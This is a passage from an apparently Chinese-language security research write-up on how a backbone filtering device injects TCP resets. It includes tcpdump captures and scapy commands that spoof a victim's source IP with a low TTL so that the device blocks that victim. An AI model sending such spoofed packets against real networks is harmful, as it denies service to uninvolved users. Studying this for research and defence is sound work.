flags [DF], proto TCP (6), length 60) 192.168.1.2.46064 &gt; 64.233.189.103.80: S, cksum 0xc664 (correct), 2283082267:2283082267(0) win 5840 &lt;mss 1460,sackOK,timestamp 285790 0,nop,wscale 4&gt; 21:53:12.637507 IP (tos 0x0, ttl 50, id 23363, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &gt; 192.168.1.2.46064: S, cksum 0xbbe7 (correct), 889377555:889377555(0) ack 2283082268 win 5672 &lt;mss 1412,sackOK,timestamp 918539372 285790,nop,wscale 6&gt; 21:53:12.637539 IP (tos 0x0, ttl 64, id 20038, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 &gt; 64.233.189.103.80: ., cksum 0xff28 (correct), 2283082268:2283082268(0) ack 889377556 win 365 &lt;nop,nop,timestamp 285811 918539372&gt; 21:53:18.110166 IP (tos 0x0, ttl 64, id 20039, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 &gt; 64.233.189.103.80: F, cksum 0xf9d1 (correct), 2283082268:2283082268(0) ack 889377556 win 365 &lt;nop,nop,timestamp 287177 918539372&gt; 21:53:18.206770 IP (tos 0x0, ttl 50, id 23364, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &gt; 192.168.1.2.46064: F, cksum 0xe535 (correct), 889377556:889377556(0) ack 2283082269 win 89 &lt;nop,nop,timestamp 918544923 287177&gt; 21:53:18.206805 IP (tos 0x0, ttl 64, id 20040, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 &gt; 64.233.189.103.80: ., cksum 0xe408 (correct), 2283082269:2283082269(0) ack 889377557 win 365 &lt;nop,nop,timestamp 287202 918544923&gt;</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">那么如果触发规则之后的请求是什么样子的呢：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 00:18:31.651147 IP (tos 0x0, ttl 64, id 22184, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.49124 &gt; 64.233.189.103.80: S, cksum 0x6925 (correct), 3774335672:3774335672(0) win 5840 &lt;mss 1460,sackOK,timestamp 1809424 0,nop,wscale 4&gt; 00:18:31.739447 IP (tos 0x0, ttl 50, id 44562, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &gt; 192.168.1.4.49124: S, cksum 0x97db (correct), 3821251813:3821251813(0) ack 3774335673 win 5672 &lt;mss 1412,sackOK,timestamp 1098842086 1809424,nop,wscale 6&gt; 00:18:31.739469 IP (tos 0x0, ttl 64, id 22185, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.49124 &gt; 64.233.189.103.80: ., cksum 0xdb1b (correct), 3774335673:3774335673(0) ack 3821251814 win 365 &lt;nop,nop,timestamp 1809446 1098842086&gt; 00:18:31.820608 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.4.49124: R, cksum 0x6ea9 (correct), 3821251814:3821251814(0) win 12379</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">三次握手之后，立刻那个莫名其妙rst包出现了，就在服务器等待客户端给它数据的时候，我们一个rst包结束了这个tcp连接的生命，这个特征依然很明显，id是64，ttl=53。但是在另外的一次测试过程中，我抓到了这样的包：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">bt ~ # tcpdump -nn -vv -S port 80 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 21:47:54.614462 IP (tos 0x0, ttl 64, id 20834, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.53343 &gt; 64.233.189.103.80: S, cksum 0x8ead (correct), 1951758128:1951758128(0) win 5840 &lt;mss 1460,sackOK,timestamp 206418 0,nop,wscale 4&gt; 21:47:54.691420 IP (tos 0x0, ttl 42, id 26966, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.2.53343: S, cksum 0x273e (correct), 2970573198:2970573198(0) ack 1951758129 win 453 21:47:54.691449 IP (tos 0x0, ttl 64, id 20835, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 &gt; 64.233.189.103.80: ., cksum 0x1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840 21:47:54.696983 IP (tos 0x0, ttl 50, id 51733, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &gt; 192.168.1.2.53343: S, cksum 0xa76e (correct), 794483022:794483022(0) ack 1951758129 win 5672 &lt;mss 1412,sackOK,timestamp 929146873 206418,nop,wscale 6&gt; 21:47:54.696998 IP (tos 0x0, ttl 64, id 20836, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 &gt; 64.233.189.103.80: ., cksum 0x1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840 21:47:54.700298 IP (tos 0x0, ttl 43, id 26887, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.2.53343: R, cksum 0x292f (correct), 794483023:794483023(0) ack 1951758129 win 454 21:47:54.769090 IP (tos 0x0, ttl 46, id 26650, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.2.53343: R, cksum 0x2737 (correct), 2970573199:2970573199(0) ack 1951758129 win 457 21:47:54.769853 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.2.53343: R, cksum 0xcb9f (correct), 2970573199:2970573199(0) win 18679 21:47:54.773332 IP (tos 0x0, ttl 50, id 51734, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.2.53343: R, cksum 0x1497 (correct), 2970573199:2970573199(0) win 0 21:47:54.774292 IP (tos 0x0, ttl 48, id 26492, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.2.53343: R, cksum 0x2735 (correct), 2970573199:2970573199(0) ack 1951758129 win 459 21:47:54.775939 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.2.53343: R, cksum 0xbf63 (correct), 2970573199:2970573199(0) win 21811 21:47:54.778871 IP (tos 0x0, ttl 50, id 51735, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.2.53343: R, cksum 0x1497 (correct), 2970573199:2970573199(0) win 0</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">一个中间的服务器抢在真正的Google服务器之前给我们响应了我们的请求，而Google的回应却因为序列号出现差错导致服务器给我们发重置包，而在此过程中，ttl=43,46,53,48的，ID模拟正常的服务器向我们连回了N个rst包，这个链接必死无疑了，可见它多么痛恨我这个链接。也许我抓到的并不是最全的，但是基本原理应该都类似的，而且这种发送的ID，ttl都是伪造的，以这种方式很难定位到具体的设备位置和直接过滤掉，后面会说到另外一种定位方法：）这个动态的ACL在过两分钟最后会被清除，用户恢复对网站的访问。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">0x02	Hack it，对防火墙类ids的一些安全研究</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">我们在黑盒的方式了解了此类ids的基本原理之后，就可以想想这类ids的一些安全问题了，这里说的安全问题不是上面提到的绕过，而是其他我们在日常工作中可能遇到的问题，这里对设备的性能测试，误报率等也不做研究，这些也不是我们可以去考虑的问题，这里主要是来自于一个思路，既然这个神奇的设备已经作为一个基本安全设施，它的动态封禁机制会不会可以被利用来对某些境外的网站进行屏蔽来实现对国内用户的Dos，据一些媒体说美国也有类似的设施，但是美国只会记录而不会做类似于IPS的动作主动切断有威胁的的双方，这里的测试不再是被动的抓包了，我们使用一款强大的网络数据包调试工具，scapy，对于我这种只有脚本基础的人来说比较容易上手，基本用法如下：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">Welcome to Scapy (v1.1.1 / f88d99910220) &gt;&gt;&gt; ls(IP) version    : BitField             = (4) ihl        : BitField             = (None) tos        : XByteField           = (0) len        : ShortField           = (None) id         : ShortField           = (1) flags      : FlagsField           = (0) frag       : BitField             = (0) ttl        : ByteField            = (64) proto      : ByteEnumField        = (0) chksum     : XShortField          = (None) src        : Emph                 = (None) dst        : Emph                 = ('127.0.0.1') options    : IPoptionsField       = ('') &gt;&gt;&gt; ls(TCP) sport      : ShortEnumField       = (20) dport      : ShortEnumField       = (80) seq        : IntField             = (0) ack        : IntField             = (0) dataofs    : BitField             = (None) reserved   : BitField             = (0) flags      : FlagsField           = (2) window     : ShortField           = (8192) chksum     : XShortField          = (None) urgptr     : ShortField           = (0) options    : TCPOptionsField      = ({}) &gt;&gt;&gt;</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">我们可以很简单滴修改这些选项来构造适合自己的包并且发送出去，譬如：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">&gt;&gt;&gt;send(IP(dst=&quot;64.233.189.103&quot;)/TCP(dport=80,sport=57474,flags=&quot;P&quot;,seq=945149829)/&quot;We are 80sec,play with packets&quot;)</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">就会向Google的服务器发送一个源端口是57474，序列号是945149829的push包了，包的内容就是We are 80sec。<br />这里测试的基本想法是，我们对一个想要攻击的ip如121.121.121.121，想使他不能访问google的服务器64.233.189.103，就可以想办法伪造一个它的ip通过这个神奇的设备并且触发规则就可以了。得益于国内运营商对数据包的来源有效性不会做任何限制，可以随便伪造别的IP的数据包发到指定的地方，同样得益于此的还有欣欣向荣的ddos行业，所以我们只要想办法触发这个神奇的设备的规则就是了。<br />先进行最简单的：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">&gt;&gt;&gt; send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;)/TCP(dport=80,sport=57474,flags=&quot;P&quot;,seq=945149829)/&quot;/?q=freenet/freenet&quot;)</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">这是一个完全扯淡的数据包，全部都是伪造的，如果这个数据包会触发规则的话，那么121.121.121.121就不能访问64.233.189.103这个Google的ip了，结果显而易见，没有任何影响。我们继续来测试，发送:</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">&gt;&gt;&gt; send(IP(dst=&quot;64.233.189.103&quot;)/TCP(dport=80,sport=57474,flags=&quot;P&quot;,seq=945149829)/&quot;/?q=freenet/freenet&quot;)</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">同时在本机抓包以得到服务器的响应，一旦成功我们就可以把源IP换成想要攻击的IP了，发出去后只能抓到自己出去的包，没有任何服务端的响应，自然不包括这个神奇的设备的，抓包如下：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 00:41:29.014316 IP (tos 0x0, ttl  64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.57474 &gt; 64.233.189.103.80: P, cksum 0x9fb7 (correct), 945149829:945149848(19) win 8192</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">这个包不只这个神奇的设备忽略了，Google服务器也忽略了，这里我换了个测试环境，因为我处于NAT的环境，为了可以直接伪造所有的ip包，我使用了朋友的服务器做测试，好处就是伪造的ip不会被NAT防火墙丢弃也不会给我转换我的端口序列号之类。我测试了Syn，Ack等包，都发现数据包顺利的到达了Google服务器，不过没有违反这个神奇的设备的规则。<br />看来这个神奇的设备还是有一些防范策略，没有想象中那样直接检测push包，起码是能对非法的，无效的TCP链接进行识别。很佩服防火墙的伟大，这么大的流量还能做到这种程度，公司内部的防火墙那么点流量还吱呀吱呀响呢，猜测没有用，回忆前面提到的，能控制一个TCP链接需要的几个元素，我们需要五元组，测试看看，我们先建立一条正常的到Google的链接，并且抓取五元组来测试：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes d00:49:38.694884 IP (tos 0x0, ttl  64, id 55469, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60931 &gt; 64.233.189.103.80: S, cksum 0x188c (correct), 3664548093:3664548093(0) win 5840 &lt;mss 1460,sackOK,timestamp 1951942736 0,nop,wscale 7&gt; 00:49:38.745534 IP (tos 0x0, ttl  51, id 57212, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.103.80 &gt; 114.249.114.249.60931: S, cksum 0x40d4 (correct), 2550448670:2550448670(0) ack 3664548094 win 5672 &lt;mss 1430,sackOK,timestamp 1084177835 1951942736,nop,wscale 6&gt; 00:49:38.745546 IP (tos 0x0, ttl  64, id 55470, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60931 &gt; 64.233.189.103.80: ., cksum 0x8548 (correct), 3664548094:3664548094(0) ack 2550448671 win 46 &lt;nop,nop,timestamp 1951942787 1084177835&gt;</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">呵呵，然后我们构造一个接近真实的五元组都正确的链接，只有序列号是错误的：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">&gt;&gt;&gt; send(IP(dst=&quot;64.233.189.103&quot;)/TCP(dport=80,sport=60931,flags=&quot;P&quot;,seq=123456)/&quot;/?q=freenet/freenet&quot;)</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">服务器返回</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">00:52:12.606688 IP (tos 0x0, ttl  64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.60931 &gt; 64.233.189.103.80: P, cksum 0xbfcf (correct), 123456:123475(19) win 8192 00:52:12.657154 IP (tos 0x0, ttl  51, id 57212, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.103.80 &gt; 114.249.114.249.60931: ., cksum 0x2be4 (correct), 2550448671:2550448671(0) ack 3664548094 win 89 &lt;nop,nop,timestamp 1084331746 1951942787&gt;</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">数据包顺利的通过了这个神奇的设备，Google还给我们发来了纠正序列号的ack包。这个时候我就很惊奇了，对一条链接真实性的验证可以不只到达五元组程度，甚至可以到达序列号的级别，而它所做的地方是在国家的主干上，这几乎是不可想象的。这个时候思考这个神奇的设备的实现方式，可能是维护一个链接的状态表，并且对这个表的所有状态进行实时跟踪，但这样他就太吊了，这个时候开始想到用一些畸形包来测试防火墙的机制。<br />从前面知道，我们到Google服务器的TTL是14跳，也就是如果我们发初始TTL小于14的话，按照TTL的基本原理，请求是不会达到Google的服务器的，如果我们控制TTL=12的话甚至可以将包通过这个神奇的设备但是不到达服务器，这个时候我们知道，如果我们在两侧放置自己的机器，在另外一侧可以伪造成Google的服务器，在自己这一侧伪造成目标的IP，控制TTL让两端的机器互相通迅触发规则，直到被这个神奇的设备列入灰名单，但是真正的被伪造的IP却不会知道发生了什么。这个思路肯定可以成功，但是之前我们可以试试其他的，毕竟我没有国外的机器，有不有可能在一端发数据包就可以实现将别的IP列入灰名单呢？我在尝试这个神奇的设备跟踪链接时的设计时找到了答案。前面我们知道，这个神奇的设备对一个请求的跟踪能够达到序列号级别，这是不可思议的事情，因为计算量和数据量太大了，那个时候我就怀疑这个神奇的设备会不会对数据包做验证，那样会增加计算量，对于骨干级的设备来说不可接受的，万一判断完之后真正的服务器已经返回了就麻烦了。同时，由于这个神奇的设备架构的设计，我们能控制数据包的出口，但是实际上数据包的返回的时候走的是可能完全不同的一条路由，所以不可能对请求的跟踪做到双向跟踪，这里的跟踪完全可能是一种虚拟行为的，对发起请求一端的校验。这里的测试也很简单，也证明了我的结论：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">&gt;&gt;&gt; send(IP(dst=&quot;64.233.189.103&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;S&quot;,seq=1234567)) &gt;&gt;&gt; send(IP(dst=&quot;64.233.189.103&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;A&quot;,seq=1234568)) &gt;&gt;&gt; send(IP(dst=&quot;64.233.189.103&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;P&quot;,seq=1234568)/&quot;GET /search?hl=en&amp;source=hp&amp;q=freenet/freenet&amp;oq=&amp;aqi=1 HTTP/1.1 \r\nHOST: www.google.com\r\n\r\n\r\n&quot;)</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">注意我在伪造ttl的时候使用ttl=10，这个时候可以避免数据包传到真正的Google服务器，服务器返回ack的时候被伪造的IP会发rst重置链接而导致发起数据失败，防火墙会看到这个rst包而认为后面的push包已经过时。通过发出上面的这三个伪造的数据包，我们就可以让64.233.189.103对我的IP不可访问，可以看到其中的包括源端口，目的端口，序列号都是我自己定义的，在防火墙看来，就是我在跟64.233.189.103发起非法链接，毕竟它只能完全信任我，它没有其他的可以信任:)，想让121.121.121.121不能访问Google的80端口只需要发送下面三个包：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">&gt;&gt;&gt; send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;S&quot;,seq=1234567)) &gt;&gt;&gt; send(IP(dst=&quot;64.233.189.103&quot;,src=&quot;121.121.121.121&quot;,ttl=10)/TCP(dport=80,sport=2222,flags=&quot;A&quot;,seq=1234568)) &gt;&gt;&gt; 